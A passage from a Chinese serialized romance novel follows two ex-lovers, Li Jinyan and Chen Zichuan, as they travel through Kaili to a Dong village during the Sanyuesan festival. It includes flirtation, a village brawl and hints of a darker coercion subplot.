“一场寒假的野球,场地没有监控。而且……”陈梓川说:“他最后也受伤了……”
李今晏磨牙:“一定是他装的!”
陈梓川:“我做完手术,还没来得及找他算账,你就发了那种短信……”
“……”
那种短信还能是什么短信,分手短信……
李今晏又埋下头:“陈梓川,你回家吧,别让我为难。你不是要毕业了?不写毕业论文吗?”
陈梓川耐心回答:“2.5年的学制,3月就毕业了。”
听这话的意思,是不打算回家,不打算放过她了……
李今晏又偏头去看窗外,这时她的肚子不合时宜的叫了一声。陈梓川拦下推着推车的列车员,给她买了两盒薯片,一包凤爪,两盒酸梅,一瓶营养快线。
李今晏拆开薯片包装抽出盒子,塞了一片进嘴里嚼呀嚼。
不去谈那些东西,他们这样还真像一对普通小情侣。
她吃得满嘴都是,陈梓川递纸过去,李今晏很自然的想把嘴贴上,但嘴刚隔着纸碰到他的手又觉得不对劲,自己伸手接过来了。
陈梓川看她吃得跟个小仓鼠一样,说:“给个机会吧?”
李今晏:“嗯?”
“喻炀不是跟你说过,给他个云南的机会?”
李今晏差点噎住:“嗯……啊……”
这个大嘴巴。
他的腿在桌下碰碰她的:“那你给我个凯里的机会吧。”
李今晏一下被触动到了,但她面上装的好,眨眨眼后,把薯片和一堆零食退给他,别开眼:“你没机会的。”
“也是给你自己个机会?”陈梓川又把零食推给她:“因为和我谈过……你不可能再看得上别人。”
·
厕所在两节车厢之间,杨亚沙上完厕所的时候发现一个熟人。
李今晏。
他虚着眼观察了一会,拨通一个电话:“马尾黄没在贵阳下。”
“哦?那你知道该怎么做呀。”
那边的人好像啐了口痰,杨亚沙皱着眉把手机拿远了:“可她身边还有一个男人,这次不是一个人。”
那边的人不耐烦了,尖着嗓子:“还需要我教你怎么搞吗?要不让你妹妹来玩一次?我想想她是什么代号哈……要不就,骨肉瘤?哎不行,听到这个名字客人会吓跑的。”
“你!”杨亚沙咬牙切齿:“不准动我妹。”
“呵。”那边的人冷笑了一声:“你妹是长得不错,但我们还不至于要一个残疾人。”
杨亚沙怒吼:“我妹没有残疾!”
“嘟嘟嘟——”电话挂断了,他的愤怒被直接掐断。
男人的侮辱在他耳中无限循环放大再变形,变成了尖锐刺耳的噪音,盖过了火车所有的轰鸣。
杨亚沙甚至能听到牙齿因咬合过猛而发出的咯咯摩擦声。他攥紧了手,紧盯着李今晏,指甲刺入皮肉。
……
中午11点过,黔东南苗族侗
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族自治州的首府——凯里市终于到了。
这座城市是苗岭山水中跳动的苗侗心脏,银饰叮咚、酸汤沸腾,满城流淌着未被驯化的野性生命力。
陈梓川跟着李今晏下了火车。
出站口飞檐翘角的侗式风雨桥顶,与远处玻璃幕墙写字楼形成奇异共生。
台阶旁苗族阿婆的摊位上,竹筐里的折耳根带着紫红泥土,还伴随着摊主苗汉双语切换的吆喝:“五块一大把——多加折耳根!”
中午可能有20度,李今晏热得脱了件里衣,偏头看陈梓川:“你怎么知道我要在凯里下?”
“我不知道啊,我买了整段的,随便在哪下。”
李今晏:“……”
她腹诽,怎么不直接坐回沪市去……
那天的凯里站很热闹,李今晏在出站口纠结了半天也不知道要去哪,她已经快被门口唾沫横飞的黑车司机说晕了。
司机A抓住李今晏的左手:“小妹!去西江千户?马上发车差一位——”
司机B抓住李今晏的右手:“大巴要等两小时!我表弟开苗寨客栈,一条龙服务给你成本价!”
陈梓川扒开两人,挡在李今晏跟前。
两人对视了一下,这个看起来很有钱啊……
李今晏从他背后探出头来:“最近有什么好玩的吗?”
司机A:“今天姻缘节啊!寨子里可热闹了!”
司机B:“再不走赶不上了哦,过去还要几个小时嘞。就你们俩,我直接拉上就走。”他狗腿的朝陈梓川笑了笑:“是吧帅哥?”
司机A:“#$%^&*”
李今晏脑子都要被说晕了,正准备哪也不去先在凯里住一天的时候,她忽然看到一个熟人,笑着大喊:
“杨亚沙!”
杨亚沙听到有人在叫自己,愣了一下才回头。回头发现是李今晏,他瞬间笑起来,露出了可爱的虎牙。
杨亚沙兴奋地提着蛇皮袋跑过来:“今晏姐姐!太巧了吧!你怎么也到凯里啦?不是说要去贵阳吗?”
陈梓川听到那声‘今晏姐姐’,抬头瞪她,李今晏装没看见:“哎呀,跟贵阳也爱人错过了,反正还是跟凯里有缘,跟你有缘。”
杨亚沙笑:“好耶,那我们要不要一起?我家住镇星侗寨,是个很美很美的寨子,有梯田有侗族大歌……就是……还有两百多公里。”
陈梓川站在李今晏后面默默出声:“不去。”
李今晏:“好呀!就去镇星侗寨!”
那是个有名的侗寨,她听过,在冲江市的里平县内。
李今晏回过头来,皮笑肉不笑:“你不去那就不去吧,我们自己去。”
最后的陈梓川还是只得无奈跟上。
走了两步的杨亚沙又有些犹豫:“我家要转几趟车才能到,要不,你们包个车过去到了再联系我?我得去坐大巴。”
李今晏:“你和我们一起吧,我包个车。”
杨亚沙摆摆手:“不不不,我不能花你的钱。”
“害,这有什么呀。”李今晏拉过他的蛇皮袋,说:“姐姐罩你。”
陈梓川听不下去了,“啧”了一声,最后直接包了两辆空车。他指着其中一辆灰色面包车,不耐烦地对杨亚沙说:“你的。”
然后拉着李今晏上了另一辆。
18. 隧道
李今晏本来想坐副驾的,但拉开7座商务车车门,发现上面竟然放上了一大箱土鸡蛋。
司机师傅看见他们就两个人,直接换了辆车:“不好意思啊美女,今天三月三,要给家里带东西回去,坐最后一排吧。”
李今晏看了看第二排和后备箱,居然已经塞得满满当当了,她只得在陈梓川幸灾乐祸的眼神下,拉开后座车门坐进最后一排。
李今晏坐上车,把包取下放到腿上,问旁边的人:“你……背着我的包啊?”
陈梓川这一路上都背着她原来那个登山包,现在没有下雨,他取下了防雨罩,露出登山包本来的草绿色。
陈梓川朝她挪了挪,几乎要坐到中间,他把包放在边上:“是啊,你的东西都在里面。”
“那你的东西呢?”
她记得他当时也背了个包。
“当然也在。”
“……”李今晏艰难开口:“我的那些衣物都是你收拾的?”
她挂在浴室的毛巾,内衣,内裤那些……
车子渐渐驶出,陈梓川偏头:“不然呢?”
虽说两人什么都做过了吧,但李今晏听到他的肯定,还是有点儿不好意思。
可她还没来得及脸红,接下来的陈梓川给了她重磅一击:“你昏了两天,那两天的内裤都是我洗的。”
“额……啊?”李今晏张大了嘴,瞄了眼前面认真开车的师傅:“不是次……次仁吗?”
陈梓川拉开一点冲锋衣,露出里面的黑色速干衣,语气平静:“她只是帮你换衣服,检查你的身体。”
李今晏闭了闭眼,人还是要健健康康的,一生大病很多时候尊严都没有了……
“嘟嘟。”
陈梓川的手机震动了一下,她抬眼去看,才发现他其实也在工作的,只是那些代码和数据,她现在已经看不懂了。
李今晏好奇:“手机上就能数据分析了吗?”
陈梓川边回复边说:“手机上主要做实时协作和轻量分析,其他的很多还是要用电脑。”
“哦……那你这么跟着我,影响你用电脑的吧……你老板没意见?”
陈梓川按灭手机:“老板?你说关斯扬?”
“???”
“我在他的工作室。”
“……”李今晏彻底闭嘴了。
司机师傅倒是感兴趣,大声问:“数据分析是啥子?”
陈梓川也学着说了两句贵州话,简单解释:“就是计算机,搞电脑的。”
司机师傅笑起来:“那厉害哟!一年要赚好多钱哦,噶……”
陈梓川没回他,转而靠近李今晏,悄悄在她耳边说了句:“都是你的。”
耳边有热气吹拂,这突如其来的亲密距离,让她心跳悄悄加快。李今晏不动声色按着垫子坐远了,紧紧贴着车门:“那个啥,师傅,这包车一共多少钱?”
师傅看了眼后视镜:“600呀,我这个7座车嘛,一人一百,不算我。”
李今晏点点头:“行。”她没看陈梓川,但朝着他说:“我跟你AA哈。”
虽然她是穷,但她也有骨气,哼。
陈梓川没说话,抱着手往她那边移了点儿。
李今晏闭着眼又开始养神。陈梓川没打扰她,继续打开手机回复工作。司机怕犯困,开始放一些流行歌曲。
就这么相安无事了一会儿。
商务车渐渐驶出城市,道路两旁越来越宽阔。
不知道多久后,陈梓川抬头转了转脖子,不经意一看,忽然发现窗外早已大变样,他拍拍李今晏。
李今晏睁开眼,跟着他的手势转头去看。
沿途的河谷平地、山间盆地以及梯田中,大片大片的明黄色油菜花肆意绽放,像巨大的金色地毯铺展在青山绿水间,视觉冲击力极强。
主席果然没说错啊,绿水青山就是金山银山。
富有生机的美景让李今晏心情超好,她掏出手机准备去拍,但刚解锁手机,陈梓川的睡颜就出现在屏幕上。
……她昨晚在火车上迷迷糊糊睡着,忘记关掉了!
李今晏还没来得及挡住,手机被人抽走了。
陈梓川看着照片里的人,嘴角是那点藏不住的弧度:“哦?这个人怎么这么眼熟啊?这是哪家帅哥?”
李今晏红着脸扑过去抢,右手腕猛地被陈梓川抓住。
这时车子进了隧道,周身瞬间暗下来。
李今晏的手抽不出去了,陈梓川紧盯着眼前的人,她奋力扭着身子,压低声音:“你放开我!司机还在呢!”
隧道昏黄的光线像水波一样,一阵阵漫过车内。陈梓川捏得更紧:“偷拍我的照片,用来干什么?”
李今晏不说话,陈梓川抓着她越拉越近。
李今晏别开脸,咬牙道:“辟邪!”
“哦?承认了?”
他忽然笑起来,另一只手在放掉手机后迅速摸上她的腰,压紧。
陈梓川的清冽气息越来越近,带着熟悉的味道和温热。李今晏的心猛地跳了一下,用力往前排椅背上仰。
就在下一个光带掠过的瞬间,黑暗短暂降临的几秒里——
一个温热、柔软、带着点干燥的触感,极其迅速地、轻轻地印在了她的嘴角。快得像被羽毛拂过,又像被微弱的电流击中。
陈梓川借着光影转换的掩护,极其精准地落下了那个吻。
李今晏浑身一僵,血液似乎瞬间冲上头顶,又在下一秒倒流。嘴角那块皮肤像被点燃了,残留着清晰的烙印。
光重新亮起,照亮车内。欢快音乐仍在流淌,陈梓川已然若无其事地坐直身体,松开了李今晏。
李今晏又羞又恼,整理好衣服坐好,斜眼去瞪他,却忽然发现陈梓川伸出了舌尖。
那舌尖灵活的,微舔了下唇。
靠……
李今晏咬紧牙,愤愤去踩他的鞋。
陈梓川又这么借势握住她的膝盖窝,让她逃不掉,腿上传来的阵阵温热惊得李今晏慌忙后缩。
眼睛里还闪着笑意的陈梓川忽然朝前问:“师傅,下个隧道还有多久呀。”
手下的人还在挣扎,陈梓川就着力把人拉近,贴紧自己。
李今晏半条腿都压在陈梓川腿上了。
师傅没注意到平移了一段的李今晏,说:“这哪个晓得哦,但是我们贵州山多嘛,没一会儿就一个。”
“啊~。”陈梓川转头看李今晏,似笑非笑地又说了遍:“没一会儿就一个。”
他好像一点儿也不急,像经验丰富的猎手,只是好整以暇地等待,等待他们的下一次接吻。
李今晏想抬脚踹他,又想起他膝盖有伤,最后只得问师傅:“司机师傅,哪有厕所呀,我想上厕所,或者我们吃个饭吧?”
她得想办法换车!
……
后车看前车慢慢停下来,也跟着停在路边。
尘土飞扬的马路边有一家酸汤鱼,五人共坐一张大圆桌。
李今晏朝着杨亚沙笑:“你饿不饿?火车上没吃好吧?”
杨亚沙坐在对面摆摆手,笑得开心:“不碍事的,以前都是这样过来的,这次托今晏姐的福还能吃点东西。”
杨亚沙转头看李今晏旁边的人,那人对他一直都有些敌意的样子:“今晏姐,这位是?”
李今晏转头瞄了一眼陈梓川:“这位啊……他是火车上认识的
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。”
脸不红心不跳。
杨亚沙根本不信,火车上认识的怎么会直接让他自己坐一车?而且他看李今晏的眼神不简单,那是男人看女人的眼神。
“哦哦哦。”杨亚沙点点头:“我和今晏姐也是车站认识的。”
陈梓川面无表情“哦”了一声。
李今晏又岔开话题:“杨亚沙,你再给我们讲讲你们寨子吧。多了解一些,代入感也会更强。”
杨亚沙把碗筷分了,说:“没问题,我们寨子是中国最大的侗寨,五座鼓楼分别代表“仁义礼智信”,夜景也很璀璨。”
“今天是三月三,也就是姻缘节。早晨6、7点会祭祖,9、10点的时候会在鼓楼坪跳舞,算是一种社交预热。”
李今晏来了兴趣:“姻缘节?就是找对象那种吗?”她记得火车下铺的糙汉提到过。
腿在大圆桌下被轻轻撞了下,李今晏装作没感觉。
杨亚沙的司机老王接话:“哈哈哈对对对,可以这么理解,热闹的不行哟,要狂欢一整天!现在12点过了,一会儿两点过就要开始抢花炮。”
李今晏疑惑:“抢花炮是什么?”
杨亚沙正经解释:“就是一种体育竞技。每个抢到花炮的人会被视为吉祥之人,不仅能拿到奖品,还能获得众人的祝福。总共三炮,抢到头炮的,来年这个活动就还由这个村寨主办。”
“嗨呀,这个最有意思最威风。”王司机大喝了口茶,打断杨亚沙:“就跟橄榄球一样,各寨健儿摩拳擦掌都要去争头炮,要得侗家姑娘爱,花炮场中称英雄。”
他们的司机赵叔说:“就像西北的刁羊,最充满雄性荷尔蒙的碰撞。”
王司机哈哈一笑:“老赵的老婆,就是花炮上抢来的!”
可李今晏撇嘴:“那我们现在赶不上了是不是,过去还要两个小时呢。”
酸汤鱼火锅上了桌,众人都开始动筷。
杨亚沙最后夹上一块豆腐:“应该能看到点儿尾声,不过下午和晚上也很有意思。下午抢到花炮的汉子会向心仪的姑娘示好,晚上还有篝火和对歌。”
李今晏眼睛又亮起来:“哇噻!”
陈梓川冷不丁问了句:“外人可以抢吗?”
赵司机惊讶:“你要去抢?那不行的,那都是以村寨为单位报名参加的。而且……也来不及了。”
李今晏看了看他的膝盖,也说:“你去瞎凑什么热闹,这是人家寨子里的活动。”
陈梓川夹起一块软糯鱼肉,直接放她碗里,轻声说:
“我也想讨老婆。”
他说得自然平静,却如平地一声惊雷,炸得桌上四个人都石化了。
杨亚沙:“……”
赵司机王司机:“……”
李今晏差点被饭呛到,又来了又来了,这人又来了……
陈梓川还悠哉游哉地,从沸腾的锅里夹起一块鸡枞菌。
王司机左看看,右看看,心下了然,旅途男女嘛,走肾不走心,懂得都懂。
赵司机也笑着接话:“有没有定民宿?要不要去我们那儿住?”
这时的杨亚沙说话了:“今晏姐,你要不要去我舅舅家?他家也是开民宿的……”
可李今晏摇摇头:“抱歉哈,我得找个能打工换宿的,去做义工。”
她想住久一点,这是最节约的方式。
杨亚沙含下一根折耳根:“义工?就是那种帮老板干活,换取食宿的吗?”
“嗯呢。”李今晏点点头。
杨亚沙:“那我帮你问问我舅舅哈,不知道他会不会同意,不过这几天寨子里人多,可能会愿意呢!”
李今晏笑:“好呀!”
19. 花炮
吃饱喝足的五人又重新上路,只不过这次李今晏换到了和杨亚沙一起。
就在杨亚沙以为计划可以推进的时候,陈梓川抵住即将关上的车门:
“我也要坐这辆。”
王司机的车空了两排,而且车费又是他付的,杨亚沙没理由不让他坐,他只得看了看已经坐进后排的李今晏,尴尬笑笑:“今晏姐……呃……”
李今晏朝陈梓川挥手作别:“你去陪赵司机,他一个人多无聊啊!”
可赵司机这时候恰巧路过,又把一大盆沃柑塞进车里。
陈梓川耸耸肩,表示他也没办法。
前排的杨亚沙阴下脸来,这个男人黏得太紧,半途拐走是不行了。
最后,赵司机乐得将车上堆满了所有土特产,高高兴兴地驶向侗寨。
王司机的最后一排又变成了两人同坐,李今晏离他远远的,缩在最里面编辑公众号文章。
不到一个小时,在文章初具雏形的时候,李今晏终于看得头晕,不一会她就靠着睡着了。
等再次醒来时,车子终于驶入侗寨。
她睡眼惺忪地睁开眼,寨子本身被山峦环抱,此时山上是层层叠叠的新绿。寨子周边的小片田地里零星分布着油菜花,雄伟的鼓楼群在金黄又嫩绿背景前,更显古朴与生机。
前排的杨亚沙看她醒了,说:“今晏姐,我舅舅舅妈同意你去做义工了,她说我带回去的人准没错,但她希望你能住得久一些。”
李今晏笑:“那太好了,住得久一点这个完全没问题,一般的义工都是一个月起步,我明天熟悉熟悉客栈和寨子,争取多帮她点忙。”
杨亚沙笑着回:“嗯嗯。”
青瓦如鳞,木柱如林,鼓楼如峰,花桥如虹,干栏式吊脚楼鳞次栉比,结构极具功能性与美感。李今晏还在沉醉拍照,不一会儿车子就被堵得水泄不通了,三人无奈之下只得步行一段。
李今晏还是兴奋。
那时的鼓楼下、花桥边、街巷里,人头攒动,摩肩接踵。
身着盛装的侗家姑娘们走动时,头上、颈间、手腕、腰间的银饰发出细碎清脆、连绵不绝的“叮铃啷当”声。这声音如同清泉注入喧嚣的海洋,是节日乐章中最灵动的音符。
青石板铺就的主街和蜿蜒的小巷里,人流如织。游客们举着相机好奇地张望,品尝着侗家特色小吃。寨子的空气里蒸腾着糯米饭和酸鱼的香气。
“义”字鼓楼下围着许多人,李今晏率先跑过去凑热闹,杨亚沙被熟人拦下,开启了一番交谈,陈梓川走在最后。
可李今晏走近才发现,那有个莽汉在‘逗’一个姑娘。
那少女乌黑浓密的发间,盘绕着精心编织的发辫,簪着几朵新采的粉白桐花。但与众不同的是,她坐在轮椅上。
莽汉赤着精壮的上身,胸膛起伏,古铜色的皮肤在阳光下油亮,脸上带着蛮横的得意:“阿英,我不嫌弃你,你跟我怎么样?”
少女表情很差,嘴唇抿得紧紧的,手死死攥住衣服,过了半晌才从喉咙里挤出蚊子般的声音:“不……”
阿英尾音都带点儿颤,李今晏上前去:“这姑娘不愿意跟你。”
被人打扰,莽汉愣住回头:“你谁啊?”
“你不用管我是谁,反正这姑娘不愿意。”
莽汉本来想动粗,但忽然转了弯,一脸油腻地盯着李今晏:“那就你来。”
李今晏退了一步,皱眉道:“我不是寨子里的人,我只是个游客。”
莽汉朝着周围的人群大笑:“讨媳妇又不需要这些身份,大家说,是不是啊?”
周围看热闹的人都嘻嘻哈哈的应和:“是啊美女,这可是我们寨子里今年抢到头炮的滚山豹,可喜庆了!”
滚山豹声音洪亮:“一句话,跟不跟老子走?”
他伸出手,手里的红花炮瘫在手心:“头炮可以送给你,请美女与我共度良夜。”
说得还挺文艺,李今晏无语的“切”了声。
跟亲戚搭完话的杨亚沙才跑过来,隔着人群的空隙看到轮椅腿的时候就觉得不对劲,等他掀开人发现轮椅上的就是自己妹妹时,脸上血色尽失。
杨亚沙猛地冲过去:“阿英!你怎么下山来了?”
“哥!”
阿英看到杨亚沙却是一脸惊喜,高兴地转着轮椅过去:“你说今天要到,我来接你。”
“哥不用接,我招呼完客人就回来。”
滚山豹不是第一次骚扰阿英了,不过她家住在山上,阿英也很少下寨子里来,相安无事了很久。杨亚沙恨恨看了眼滚山豹,问阿英:“你有没有事?”
阿英摇摇头:“我没事,我和舅妈一起的,她去帮我买东西了。”
杨亚沙得到回答,又站出来帮李今晏说话:“大哥别闹了,人家是寨子里的客人。”
滚山豹推了一把杨亚沙,说:“关你屁鸭子事儿。”
杨亚沙长得瘦,被滚山豹这么狠力一推根本承受不住,差点摔倒,他被最后赶上的陈梓川一把扶住。
陈梓川站到李今晏跟前,跟滚山豹平视,眼神冷冽如寒潭:“想要她?”
滚山豹不知道又哪儿冒出来一个多管闲事的,问:“哦?你也想要?”
李今晏看情况不妙,拉拉陈梓川小声说:“别冲动。”
陈梓川给了她个安抚的眼神,对滚山豹挑眉:“你们寨子里的规矩是抢到花炮者为胜,对吧?”
滚山豹抬起下巴:“嗯哼?”
“可我觉得‘抢’不够好看……”
陈梓川微微偏头,颈侧线条绷紧一瞬,像在活动关节,又像是一种无声的审视和评估。动作很小,但充满攻击性的暗示:“打架吗?打赢我,她归你。”
李今晏偏头看陈梓川:“你在瞎说什么?你的腿……”
陈梓川没回头。
两人身高相仿,但体型差是有的,陈梓川属于瘦而不柴,强劲有力的那种,但滚山豹腰粗如磐石,上臂粗壮地惊人。
说实话,李今晏觉得现在战损版的陈梓川打不过……可能还会伤得更重。
李今晏默默拉拉他的袖子:“别搞,多大了还打架斗殴……”
旁边有人看热闹不嫌事大:“打打打!不出事就行!过节嘛,多热闹!”
滚山豹朝天大笑两声:“好啊!就喜欢正大光明干来的东西。”他搓搓手看着李今晏:“妹子,你瞧好啰!”
滚山豹摆出一副准备格斗的姿势,陈梓川放下登山包,脱下冲锋衣。
本就热烈的气氛又要迎来高潮,对于直接又暴力的雄竞,周围的侗族姑娘们男人们,不管老少都来了兴致,大家纷纷给他们让出位置,围出一个大圆。
李今晏眼里满是担忧。
滚山豹低吼如闷雷,钵大的拳头直捣陈梓川面门,拳风刚猛。
陈梓川黑眸不动,迅速后仰以毫厘避开,脚尖疾点滚山豹的膝弯!
滚山豹晃如山岳,眼里露出一丝诧异。他再踏地欺身,粗壮熊臂想要箍住陈梓川,但陈梓川快速退后,这时膝盖的刺痛直冲天灵盖,落地的瞬间只得微微踉跄。
滚山豹抓到一丝破绽:“腿脚不灵?”他心下一喜,沉重扫腿,直伤陈梓川膝盖!
旁边的人一阵欢呼!李今晏斜眼瞪他们。
但没想到陈梓川不退反进,拧身切入,他左臂搭腿借力一拖,破了滚山豹的重心。紧接着右指如凿,狠击滚山豹发力的腰眼!然后陈梓川强忍疼痛,小角度弹踢滚山豹的脚踝内侧。
滚山豹赶忙爬起连连后退,腰酸脚麻,憋屈着怒吼道:“阴招!专打软处算什么好汉?!”
李今晏扶住微喘的陈梓川,他冷冷盯着滚山豹:“赢就行,还打吗?”
滚山豹揉着腰瞪着他,一时有些踌躇。
这时候,旁边忽然传来一道男声:“你们别打啦,旁边那个是她老公,这俩人是夫妻呀。”
大家闻声去看,一个寸头穿着黑色工字背心跳下台阶扒开人群,正往矛盾中心走,手上还搭着一件黑色皮衣。
李今晏回头去看,那不是火车下铺的糙汉是谁?
糙汉朝她乖巧的比了个耶:“妹砸,巧喽!”
人们又都转过头来看李今晏和陈梓川,左看看右看看。
哦?原来这俩人是夫妻??刚才怎么不说??
寨子里传统,如果结婚了再抢就不太合适了……
李今晏想找个地缝钻进去,所有人好像都在等她的答案,连陈梓川都站直了身体,在等她的回答。
如果说不是,那这个滚山豹肯定会继续和陈梓川打,还有可能打得更狠,如果说是,那她之后在寨子里要怎么和陈梓川相处……
李今晏的心里天人交战!!!
陈梓川一副看戏的表情,还笑着小声安抚她:“没事,就算是打,我也能把你赢回家。”
李今晏听到他的话,心里一动,但还是不看他,咬紧牙做最后决策。
两分钟后,那个好面子的李今晏输了……
她摊摊手,朝着大家说:“啊哈哈……是啊。”
陈梓川身子一顿,看向她。
李今晏转头躲过,眼神飘忽:“他是,我……我老公哈哈哈……。”
说到最后声音还越来越小。
陈梓川漾开笑容,顺势把人搂住,俯身在她耳边问:“承认了?”
一副得了便宜还卖乖的样子,李今晏用着暗劲推他,没推动,改掐他的腰。
陈梓川趁着弯腰的瞬间,热唇堪堪擦过她发烫的脸。
李今晏就这样脸红到了耳根。
这下轮到滚山豹生气了:“你们耍我??”
糙汉过来拦住他:“人家这哪儿是耍?明明就是你自己看错了,要去招惹别人的老婆……问都不问就同意开打。”
滚山豹不说话了……
糙汉又站上鼓楼的石阶:“大家散了吧散了吧……啊,打出事了怎么办?”
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旁边人有些吐槽的:“早说嘛,早说还玩啥。”
大家看到两人那腻歪劲,终于相信是两口子,于是都开始附和:“唉,干嘛不早说,还没看够呢……”
滚山豹大骂:“浪费老子时间啊!”但他看大家风向转变,无人观战无人撑场,无奈之下只得往旁边啐了口痰,大摇大摆走了。
糙汉食指中指并拢,放在太阳穴处,往前一挥:“撒绿~回头见哟,妹子。”
李今晏朝他尴尬笑笑,这人看这么久出来,帮忙也没帮到底,只是让她陷入另一个险境。
……
杨亚沙的舅舅舅妈不知道什么时候来的。
舅舅长得像矮竹竿,崇拜地看向陈梓川:“不错呀,这是我们寨子最猛的滚山豹,你竟然敢单挑。”
陈梓川笑:“为了老婆。”
李今晏扭开身子,离他一米远。
舅舅又问:“咋滴?闹矛盾了?”
陈梓川看着她走远的背影,眼里藏不住的宠溺:“嗯,最近有点。”
“晚上,晚上哥教你嗷,保准把你老婆吃得死死的。”
陈梓川笑而不语。
杨亚沙看人都走得差不多了,问阿英,语气有些凉:“你怎么下来的?”
阿英疑惑,刚才不是问过?
这下舅妈终于说话,声音温柔:“我带她下来转的,现在学也没上了,节日总不能错过吧?”
杨亚沙没吭声,最后还是推着阿英到李今晏跟前:“快谢谢这位姐姐。”
阿英微微颔首:“谢谢姐姐帮忙。”
舅妈也附和:“谢谢你了妹妹。”
要不是她,阿英还不知道要被怎么欺负。
阿英的脸庞有着侗家少女特有的清秀轮廓,十六岁的年纪,肌肤是山野滋养出的健康莹润。身上穿着染制的靛蓝色土布新衣,领口袖口绣满了繁复精致的五彩花鸟纹样,李今晏瞧了也欢喜。
“原来是你妹妹呀!”李今晏压下对轮椅的疑问,说:“小事儿小事儿。”
看来杨亚沙年纪轻轻就在外漂泊,不是没有原因的。
杨亚沙好不容易扯出一个笑容:“是我妹妹……”他顿了顿又说:“我也没想到,你和陈哥是两夫妻。”
李今晏哈哈两声,之后再不回他了。转而朝着舅妈笑:“舅妈您好,我是李今晏,未来一个月可以在您店里做义工。”
舅妈开心:“好的好的,一楼还有一间员工房,刚好够你们夫妻俩住。”
李今晏:“……”
·
傍晚的时候,热闹去了大半,杨亚沙先回家了,不熟的人都熟起来,舅舅准备抓上几个兄弟,还有陈梓川一起去寨子口的酒馆喝酒。
陈梓川看了眼客栈院子里还在荡秋千的李今晏,说:“我问问我媳妇儿。”
“怕老婆啊?”舅舅一把拍在陈梓川肩上:“还问啥呀……今天过节啊,她不会说啥的。”
院子里的李今晏刚好回头:“说什么?”
舅舅笑:“我们准备去喝酒,没问题的吧?”
本以为李今晏不会有意见,没想到她竟然站起身:“不行不行,不能喝。”
陈梓川也有些诧异。
他虽然不怎么喝,但偶尔也会和关斯扬他们小酌几杯,以前的李今晏并不在意。
李今晏下了秋千走进屋子:“叔儿,你和你朋友去吧,他不去。”
酒精本身就会促进炎症,再和止痛药交互的话,膝盖会有危险。
陈梓川就这么柔和的盯着李今晏,他喜欢她刚才说的那句话,‘他不去……’
有种……被老婆管的感觉。
舅舅不高兴了:“你老公喝点酒怎么了?三月三哎,我们最大的节日,出去热闹热闹不行啊?”
“不喝不喝就不喝。”李今晏扯着陈梓川站到自己身后:“他吃药了。”
“我们那酒不一样的!”舅舅还挺幼稚,又把陈梓川拉出来:“就喝。”转头还对陈梓川使眼色:“别忘了我要教你的……”
陈梓川就这样被两人扯来扯去。
几轮过后。
舅舅叉着腰:“你男人到底到底怎么就不能喝?”
“我男人就不喝!”李今晏也叉着腰,没意识到自己脱口而出了什么,瞪陈梓川:“你自己说,你要不要去喝?”
陈梓川忍不住笑,咳了两声,慢慢握住她的手。
李今晏有种不详的预感。
果不其然,陈梓川对她温柔道:“就喝一点,不碍事的。”
听到这里的舅舅仿佛打了胜仗似的,还给自己鼓了个掌:“哎嘿!你老公自己发话了啊……你看看,没理由拦着了吧?”
李今晏气得鼻子都歪了,她恶狠狠白了一眼陈梓川,转身大步流星甩着马尾走进了客栈。
陈梓川朝着她的背影喊:“老婆,我一会儿就回来!”
李今晏回头朝他做了个鬼脸:“别回来了你!”
20. 躁郁
镇星侗寨一寨五团,舅妈舅舅的客栈开在‘仁义礼智信’的义团,他们要去的那家酒馆‘半山微醺’在寨子入口的‘仁’团,离这儿还有十五分钟路程呢,不知道陈梓川在逞什么能。
李今晏气鼓鼓地走进一楼的员工房,那间房说白了,就是楼梯拐角下一处较大的长方形空间。
两张单人床并排抵着墙放,中间能过人的距离窄的可怜。不过还好另一头有独卫,两头中间有一个简易木桌,木桌上开了个小窗。
确实够她和陈梓川住,但也只够她和陈梓川住。
李今晏脱下冲锋衣没一会儿又披上了,侗寨地处山谷,昼夜温差大,晚上那会还有风,有些阴冷。
她坐在木桌旁打开手机,问次仁要了几张生活照,次仁刷刷刷一下发来好多。
李今晏挑了她最有生命力的几张,一张是拿着鸡毛掸子追朗杰,一张是在山里双手竖举着草药笑嘻嘻,还有一张是和客人打牌赢钱时哈哈大笑的嘚瑟样。
李今晏看到这些图片,顿时觉得身心都被治愈了。生动的图片合进友爱的文字里,人就这么立体起来。
她最后愉快的按下发表键,第四十一期文章终于发出。
没过两分钟就有人在评论区留言。
【今晏老师回云南了!】
【这次的主角我还是好喜欢,给人以力量,给人以安宁。】
【哇!原来生活也可以这样喜乐!】
李今晏笑着回了两个,拿上睡衣进了浴室洗澡。
可令李今晏没想到的是,刚洗完澡的她就接到一通陌生电话,那边的阿姨大声问:“陈梓川是你丈夫吧?”
李今晏擦了擦湿漉漉的头发,摸摸鼻子:“……是吧。”
“他要打架了!你赶快来半山微醺,现在谁都拦不住,只有你了!”
电话那头还有些嘈杂,好几个男人唧唧呱呱不知道在骂什么。
李今晏心下一惊,她猛地挂断电话打开微信,才发现自己并没有加陈梓川……凭着记忆中的号码再给他打电话,也是一直占线没人接。
……
不到十分钟。
李今晏披头散发穿着睡衣就冲到了半山微醺。
门口很乱,一排人七嘴八舌的交谈着,露天的塑料桌椅倒了一地。地上还混着碎酒瓶子和各类花生瓜子。
她大喘着气,没看到陈梓川。
不知道谁指着她说了句:“他老婆来了!”
所有人的目光都开始转向这个还穿着白色小熊睡衣,趿拉着酒店拖鞋的女人。
有个顶着啤酒肚的秃头男人说:“吴老包!快找她评评理!”
原来舅舅叫吴老包,李今晏看着他气哄哄地站出来,展示胸前被捏得发皱的衬衫,以及还在滴血的手指说:“你看看你汉子干的好事!”
李今晏仔仔细细瞧了瞧,他全身上下也就那两处问题,于是大大松了口气。她走过去,尽量柔和着问:“叔儿……这究竟是怎么回事?你们不是高高兴兴出来喝酒吗?”
吴老包重重‘哼’了一声:“你男人也太小气了,我就碰了下他的烟盒他就凶巴巴的……我以为是烟呢……”
旁边的啤酒肚应和:“就是,碰都不让碰!宝贝的根什么似的,一根烟能要几个钱?还把啤酒瓶都砸碎了要发疯……他能打赢谁?我在寨子这么多年,谁敢动我?!”
周围帮腔的人都唧唧歪歪起来,一脸不爽。
李今晏无视那些视线,她有些疑惑。
烟?她觉得陈梓川不是因为一根烟就会大打出手的人。
有个挂着相机的女孩看她这样被指责,站出来紧张道:“不是的,烟盒里有根发圈,他们把那发圈扯断了!”
有个村民看有人站出来,也梗着脖子附和:“就是说嘛,而且我就在旁边喝酒,吴老包你那个手……”
